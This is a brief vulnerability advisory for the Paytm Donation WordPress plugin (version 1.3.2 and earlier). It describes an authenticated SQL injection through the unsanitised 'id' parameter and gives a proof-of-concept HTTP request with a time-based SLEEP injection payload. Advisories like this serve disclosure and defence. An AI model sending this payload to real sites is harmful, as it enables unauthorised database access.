Paytm - Donation Plugin <= 1.3.2 - Authenticated (admin+) SQL Injection

The plugin does not sanitise, validate or escape the id GET parameter before using it in a SQL statement when deleting donations, leading to an authenticated SQL injection issue

PoC

GET /wp-admin/admin.php?page=wp_paytm_donation&action;=delete&id;=1%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(5)))Pjwy) HTTP/1.1 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: [admin+] Connection: close